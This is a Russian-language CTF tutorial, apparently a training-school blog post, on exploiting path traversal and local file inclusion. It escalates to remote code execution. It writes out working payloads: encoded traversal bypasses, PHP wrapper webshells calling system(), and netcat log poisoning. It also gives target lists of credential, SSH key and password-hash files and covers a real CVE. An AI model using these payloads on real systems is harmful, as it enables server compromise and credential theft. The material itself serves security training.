
Задача за 300 очков на CTF. Обработчик загрузок с параметром ?file=report.pdf и фильтром, который режет ../. Половина участников пробует ../../../etc/passwd, ловит 403 Forbidden и уходит к другому таску. А решение — одна строка: двойное URL-кодирование %252e%252e%252f проходит мимо фильтра, и /etc/passwd вываливается в ответе. Я видел этот сценарий на CTF раз десять — и каждый раз кто-то застревает.
Path traversal уязвимость — одна из самых частых в категории web на CTF и одна из самых недооценённых новичками. По статистике Positive Technologies, directory traversal входит в тройку наиболее эксплуатируемых атак на веб-приложения, сразу после SQL-инъекций. В этом разборе пройдём весь путь: от обнаружения точки входа до получения RCE через local file inclusion.
Новички путают эти два термина постоянно. Разберёмся раз и навсегда. Подробнее — в нашем руководстве по создание ctf заданий.
Path traversal (она же directory traversal атака) — техника обхода каталогов. Атакующий использует последовательности ../ или абсолютные пути, чтобы выйти за пределы разрешённой директории и прочитать произвольные файлы на сервере. Приложение берёт параметр из URL, подставляет его в путь файловой системы без валидации — и вот уже можно читать всё, до чего дотягивается процесс веб-сервера. По классификации OWASP это A03:2021 — Injection: корень проблемы — отсутствие санитизации пользовательского ввода.
Local file inclusion (LFI) — уязвимость, при которой приложение подключает локальный файл через функции вроде include() или require() в PHP. Ключевое отличие: при LFI содержимое файла не просто читается — оно исполняется как код. Подключил файл с PHP-кодом через include() — сервер его выполнил. Именно поэтому LFI уязвимость опаснее: она открывает дорогу к Remote Code Execution.
Есть ещё Remote File Inclusion (RFI) — родственная штука, когда приложение подключает файл с удалённого сервера атакующего. RFI проще эксплуатировать (вы контролируете содержимое файла полностью), но встречается куда реже: по умолчанию allow_url_include в PHP выключен. На CTF RFI — скорее бонус, чем основной вектор.
По MITRE ATT&CK обе техники используются на этапе Initial Access через Exploit Public-Facing Application (T1190). Дальше атакующий переходит к File and Directory Discovery (T1083) и сбору Data from Local System (T1005). На практике в CTF-задачах path traversal и LFI часто идут в связке: сначала находите параметр для обхода каталогов, затем через LFI-техники эскалируете до выполнения кода.
Path traversal прячется в функциональности, которая выглядит безобидно. По практическому руководству YesWeHack, наиболее частые паттерны уязвимого кода:
/download?file=report.csv/view-log?path=latest.log/preview?template=invoice.html/index.php?page=about.php{"filename": "backup.tar.gz"}Для тех кто в танке — ищите любой параметр, значение которого выглядит как имя файла или путь: file=, page=, path=, template=, doc=, img=, lang=, include=. Видите расширение (.php, .txt, .html) в значении параметра — это первый сигнал. Перехватите запрос через Burp Suite Proxy и изучите все параметры, включая cookies и заголовки.
Классический тест — чтение /etc/passwd на Linux. Файл доступен всем пользователям и содержит список учётных записей системы. По MITRE ATT&CK чтение этого файла — техника T1003.008 (/etc/passwd and /etc/shadow, Credential Access).
Начинайте с минимальной глубины и наращивайте количество ../:
?file=../etc/passwd — один уровень вверх?file=../../etc/passwd — два уровня?file=../../../etc/passwd — три уровня?file=../../../../etc/passwd — четыре уровня?file=../../../../../etc/passwd — пять уровнейКоличество ../ зависит от глубины рабочей директории приложения в файловой системе. Типичный путь — /var/www/html/uploads/, это четыре уровня. Лишние ../ не навредят: из корня файловой системы ../ ведёт обратно в корень.
Попробуйте и абсолютный путь напрямую: ?file=/etc/passwd. В некоторых фреймворках (например, при использовании os.path.join() в Python) абсолютный путь перезаписывает базовый путь целиком — читаем произвольный файл без единого ../. Забавный баг, кстати, — разработчики Python сами документировали это поведение, но мало кто читает доки.
Для Windows-задач используйте обратные слеши: ?file=..\..\..\..\windows\win.ini.
Если сервер возвращает содержимое файла (строки вида root:x:0:0:root:/root:/bin/bash) — path traversal уязвимость подтверждена. Если ответ — ошибка или пустая страница — переходим к обходу фильтров.
Разработчики знают про ../ и ставят фильтры. Но большинство фильтров — blacklist-подход, и обход каталогов через кодирование или альтернативные последовательности остаётся стандартной техникой на CTF web уязвимостях.
Самый частый байпас. Если фильтр проверяет строку ../ до декодирования URL, закодированные варианты пройдут мимо:
| Payload | Описание | Когда работает |
|---|---|---|
%2e%2e%2f |
URL-кодированные точки и слеш | Фильтр на уровне приложения до декодирования |
%2e%2e/ |
Частичное кодирование (только точки) | Фильтр ищет точную строку ../ |
..%2f |
Кодирован только слеш | Фильтр ищет символ / |
%252e%252e%252f |
Двойное кодирование | Запрос проходит два слоя декодирования (Nginx + бэкенд) |
Двойное кодирование работает в многослойных архитектурах: Nginx декодирует URL и передаёт его бэкенду на Node.js или Python, который декодирует повторно. Каждый слой снимает один уровень кодирования, и %252e превращается сначала в %2e, а затем в .. Две прокси — два декодирования — один обход.
В Burp Suite Repeater отправьте запрос с каждым вариантом и сравните ответы. Стандартный ../ возвращает 403, а %2e%2e%2f — 200? Фильтр работает на уровне строки до URL-декодирования. Поздравляю, вы внутри.
В PHP ниже 5.3.4 работает трюк с нулевым байтом %00. Типичная ситуация — приложение добавляет расширение к параметру:
<?php
$file = $_GET['page'];
include($file . ".php");
?>
Запрос ?page=../../../etc/passwd%00 заставляет интерпретатор обрезать строку на нулевом байте. PHP видит путь /etc/passwd, а не /etc/passwd.php. На современных версиях PHP вектор закрыт, но в CTF-задачах на старых стеках null byte injection LFI встречается регулярно — авторы тасков любят ретро.
Альтернативный обход того же фильтра — добавить ? в конец: ../../../etc/passwd?. Всё после знака вопроса интерпретируется как query-параметр и игнорируется при резолве пути.
| Техника | Версия PHP | Предусловие |
|---|---|---|
Null byte %00 |
< 5.3.4 | Конкатенация расширения через $file . ".php" |
Query string ? |
Любая | Конкатенация расширения |
| Длинный путь (4096+ символов) | < 5.3 | Ограничение длины пути в файловой системе |
Если фильтр удаляет ../ нерекурсивно (один проход), используйте вложенную конструкцию: ....//....//....//etc/passwd. После удаления ../ из середины остаётся ../../../etc/passwd. Разработчик думает, что очистил ввод, а результат — ровно тот payload, который нужен. Один str_replace("../", "") без цикла — и фильтр бесполезен.
На Windows-серверах обратные слеши и прямые часто взаимозаменяемы: ..\..\..\windows\win.ini. Некоторые парсеры принимают оба типа разделителей, а фильтр проверяет только один.
Ещё приём — избыточные слеши: ./////./////.////etc////passwd. Нормализация путей в ОС уберёт дубликаты, но фильтр, привязанный к точному паттерну ../, их не распознает.
Для автоматизации перебора path traversal payload используйте ffuf с wordlist'ом из SecLists: ffuf -u "http://target/download?file=FUZZ" -w LFI-Jhaddix.txt -fc 403,404. Флаг -fc отфильтрует ответы с кодами 403 и 404, оставляя потенциально успешные результаты. В Burp Suite Intruder загрузите тот же wordlist и настройте grep на строку root: — удачные попытки подсветятся сами.
PHP-обёртки потоков (wrappers) превращают LFI уязвимость из простого чтения файлов в полноценный RCE-вектор. На CTF web уязвимостях это один из ключевых навыков — без него дальше чтения /etc/passwd не уедешь.
При подключении PHP-файла через include() он исполняется, и вы видите только результат (HTML-вывод). Чтобы прочитать исходный код, используйте обёртку php://filter с base64-кодированием:
?page=php://filter/convert.base64-encode/resource=index.php
Сервер вернёт base64-строку. Декодируйте: echo "PD9waHA..." | base64 -d — и получите чистый PHP-код. По MITRE ATT&CK декодирование — техника Deobfuscate/Decode Files or Information (T1140). Что это даёт:
Другие фильтры: string.rot13 иногда обходит WAF, ожидающий base64-паттерны. convert.iconv.UTF-8.UTF-7 используется в сложных цепочках фильтров для генерации произвольного контента.
Если в конфигурации PHP включена опция allow_url_include (по умолчанию выключена, но в CTF бывает включена — авторы тасков добрые), открывается прямой путь к выполнению кода:
data:// передаёт PHP-код прямо в URL: ?page=data:text/plain,<?php system($_GET['cmd']); ?>. Добавьте &cmd=id к URL и получите вывод команды id в ответе.php://input читает тело POST-запроса. Отправьте POST с телом <?php system('whoami'); ?> на URL ?page=php://input.Эти wrappers работают, потому что include() в PHP обрабатывает не только файловые пути, но и потоковые обёртки. Вы заставляете сервер исполнить произвольный PHP-код без записи файла на диск. Красиво, правда?
| Wrapper | Требование | Что даёт |
|---|---|---|
php://filter |
Нет | Чтение исходного кода |
data:// |
allow_url_include=On |
Исполнение произвольного кода |
php://input |
allow_url_include=On |
Исполнение кода из тела запроса |
file:// |
Нет | Чтение файлов по абсолютному пути |
allow_url_include выключен и php wrapper LFI через data:// недоступен? Не проблема. Path traversal уязвимость всё равно может привести к RCE через отравление логов. Этот вектор чуть грязнее, но работает.
Бизнес-логика атаки: Apache и Nginx записывают в лог-файл данные из HTTP-запроса — URL, User-Agent, Referer. Если внедрить PHP-код в один из этих заголовков, а затем подключить лог через LFI — код исполнится сервером.
Шаг 1 — внедряем PHP-код в лог через netcat:
nc target.com 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: target.com
Connection: close
Шаг 2 — подключаем лог через LFI:
?page=../../../../../var/log/apache2/access.log&cmd=id
Apache записывает запрос в access.log вместе с PHP-тегом в URL. Когда include() подключает этот файл, PHP-движок исполняет встроенный код. Параметр cmd=id передаётся в passthru(), и вы видите результат выполнения команды id в ответе сервера. Шелл получен.
Альтернативный вариант — внедрить код через заголовок Referer или User-Agent. В Burp Suite Repeater замените значение User-Agent на <?php system($_GET['cmd']); ?> и отправьте обычный GET-запрос. Затем подключите лог через LFI.
Типичные пути к логам, которые стоит перебрать:
/var/log/apache2/access.log (Debian/Ubuntu)/var/log/httpd/access_log (Red Hat/CentOS)/var/log/nginx/access.log/var/log/apache2/error.log — для error.log достаточно запросить несуществующую страницу с PHP-кодом в URLНа Linux файловая система /proc — настоящий кладезь информации о процессах. Файл /proc/self/environ содержит переменные окружения текущего процесса, разделённые нулевыми байтами. Если веб-сервер передаёт User-Agent в переменные окружения (как mod_cgi), можно внедрить PHP-код через заголовок User-Agent и подключить /proc/self/environ через LFI.
Другие proc-файлы, полезные на CTF:
/proc/self/cmdline — аргументы запуска процесса (иногда там пароли в открытом виде)/proc/self/fd/N — файловые дескрипторы, перебирайте N от 0 до 20 для поиска временных файлов/proc/self/cwd/ — символическая ссылка на рабочую директорию процесса/proc/net/tcp — все TCP-соединения в hex-формате, помогает найти внутренние сервисыЧерез /proc/self/environ нередко удаётся вытянуть секреты — токены API и пароли баз данных (Credentials In Files, T1552.001), которые передаются через переменные окружения. Для контейнеризированных приложений это особенно актуально: в Docker конфигурация почти всегда идёт через ENV.
Когда path traversal уязвимость подтверждена, следующий шаг — выжать максимум. Вот систематизированный список файлов для CTF и пентеста.
Linux — системные файлы:
| Файл | Зачем нужен |
|---|---|
/etc/passwd |
Список пользователей, домашние директории |
/etc/shadow |
Хеши паролей (требует root) |
/etc/hosts |
Внутренние имена хостов в сети |
/etc/crontab |
Запланированные задачи (вектор для privesc) |
/proc/version |
Версия ядра для подбора эксплойтов |
/var/cache/locate/locatedb |
Индекс всех файлов в системе |
Приватные ключи и учётные данные (T1552.004, Private Keys):
| Файл | Зачем нужен |
|---|---|
/home/<user>/.ssh/id_rsa |
SSH-ключ для удалённого входа |
/home/<user>/.bash_history |
История команд (пароли в аргументах) |
/home/<user>/.mysql_history |
История SQL-запросов |
/root/.ssh/authorized_keys |
Авторизованные ключи root |
Веб-сервер и приложение:
| Файл | Зачем нужен |
|---|---|
.env / config.php |
Пароли БД, API-ключи, секреты JWT |
.htaccess |
Правила переписывания, ограничения доступа |
/etc/apache2/apache2.conf |
Конфигурация Apache |
/var/log/apache2/access.log |
Логи для log poisoning |
Windows:
| Файл | Зачем нужен |
|---|---|
c:\windows\win.ini |
Проверка наличия traversal |
c:\boot.ini |
Конфигурация загрузки |
c:\windows\system32\drivers\etc\hosts |
Внутренние хосты |
c:\windows\repair\SAM |
Хеши паролей |
c:\windows\panther\unattend.xml |
Пароли из автоустановки |
Отдельный приём, который редко упоминается: файл /var/cache/locate/locatedb содержит бинарную базу утилиты locate с индексом всех файлов в системе. Стянув его через path traversal и обработав утилитой locate.findutils, вы получите полный список путей на сервере. Больше не нужно угадывать имена файлов вслепую.
Теория — хорошо, но разбор реального CVE показывает, как уязвимости доступа к файлам работают в продакшн-софте. И как просто их бывает эксплуатировать.
CVE-2024-40348 — directory traversal в компоненте /api/swaggerui/static приложения Bazarr v1.4.3 (CWE-22: Improper Limitation of a Pathname to a Restricted Directory). Уязвимость позволяет неаутентифицированному атакующему читать произвольные файлы.
Характеристики из NVD:
Разберём вектор: AV:N — атака по сети, AC:L — низкая сложность, PR:N — привилегии не требуются, UI:N — действие пользователя не нужно. Любой, кто имеет сетевой доступ к Bazarr, читает файлы без авторизации. Компонент C:H (высокое воздействие на конфиденциальность) подтверждает: атакующий получает доступ ко всем файлам, доступным процессу.
По данным CISA Vulnrichment, для уязвимости существует публичный PoC, атака автоматизируема, техническое воздействие частичное (чтение без записи). На GitHub доступен PoC-репозиторий bigb0x/CVE-2024-40348 (31 звезда), демонстрирующий чтение /etc/passwd с уязвимого сервера. Есть и готовый шаблон Nuclei для автоматического сканирования: http/cves/2024/CVE-2024-40348.yaml.
Эта уязвимость — типичный пример: endpoint для отдачи статики Swagger UI не проверяет пользовательский ввод на traversal-последовательности. Endpoint, который выглядит безобидно, открывает доступ ко всей файловой системе. Swagger UI — последнее место, где ждёшь дыру, но именно там она и сидит.
Когда на CTF подозреваете path traversal уязвимость, действуйте по алгоритму:
Найдите параметр. Ищите file=, page=, path=, template=, lang= в URL, POST-теле, cookies. Перехватите все запросы через Burp Suite Proxy и проанализируйте каждый параметр, содержащий что-то похожее на путь к файлу.
Попробуйте базовый traversal. Отправьте ../../../../etc/passwd через Burp Repeater. Если в ответе root:x:0:0: — уязвимость подтверждена, переходите к шагу 5.
Попробуйте абсолютный путь. Отправьте /etc/passwd напрямую. Некоторые фреймворки (Python os.path.join(), .NET Path.Combine()) перезаписывают базовый путь при получении абсолютного аргумента.
Обойдите фильтр. Перебирайте варианты в порядке частоты срабатывания: URL-кодирование (%2e%2e%2f), вложенные последовательности (....//), двойное кодирование (%252e%252e%252f), null byte (%00), обратные слеши (..\..). Используйте ffuf с wordlist'ом traversal.txt из SecLists для автоматизации.
Определите стек. Если сервер на PHP — пробуйте php://filter/convert.base64-encode/resource=index.php для чтения исходного кода. Из исходников узнаете, как работает фильтр, где лежат конфиги и какие ещё дыры есть.
Эскалируйте до RCE. Проверьте data://text/plain,<?php phpinfo(); ?>. Работает — allow_url_include включён, и RCE через system() тривиален. Не работает — пробуйте log poisoning через User-Agent и подключение /var/log/apache2/access.log.
Извлеките флаг. На CTF флаг может лежать в /flag.txt, /flag, /home/ctf/flag, /root/flag или в переменных окружения (/proc/self/environ). Проверяйте все стандартные расположения.
Каждый шаг требует анализа ответа сервера. Обращайте внимание не только на код 200: содержимое файла иногда возвращается с кодом 500 (ошибка при парсинге), а различие в размере ответа между существующим и несуществующим файлом — тоже индикатор.
Большинство новичков на CTF застревают на path traversal по одной причине: пробуют один payload, получают отказ и уходят к другой задаче. Это главная ошибка. Path traversal уязвимость — не один запрос, а методичный перебор техник обхода. Фильтр, который кажется непробиваемым, часто ломается от двойного кодирования или вложенных последовательностей. Раз за разом на CTF-площадках вижу задачи, где защита строится на единственном str_replace("../", "") без рекурсии — один ....// внутри удаляемой последовательности, и фильтр бесполезен.
Что критично понимать: local file inclusion эксплуатация — это не «прочитать /etc/passwd и сделать скриншот». Это первый шаг в цепочке. Прочитал конфиг — достал пароль БД. Прочитал исходник — нашёл SQL injection. Отравил лог — получил шелл. Каждая ступень открывает следующую, и атакующий, освоивший эту эскалацию, получает полную компрометацию сервера из одного непроверенного параметра. Path traversal выглядит как безобидное чтение файла — а на деле это начало полной цепочки от Initial Access до Credential Access и Remote Code Execution.
Если после этого разбора хочется не просто читать про payload'ы, а разобраться в основах безопасности системно — на IB Basics в Codeby School проходят базу от сетей до веб-уязвимостей, без предварительных требований к уровню подготовки.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...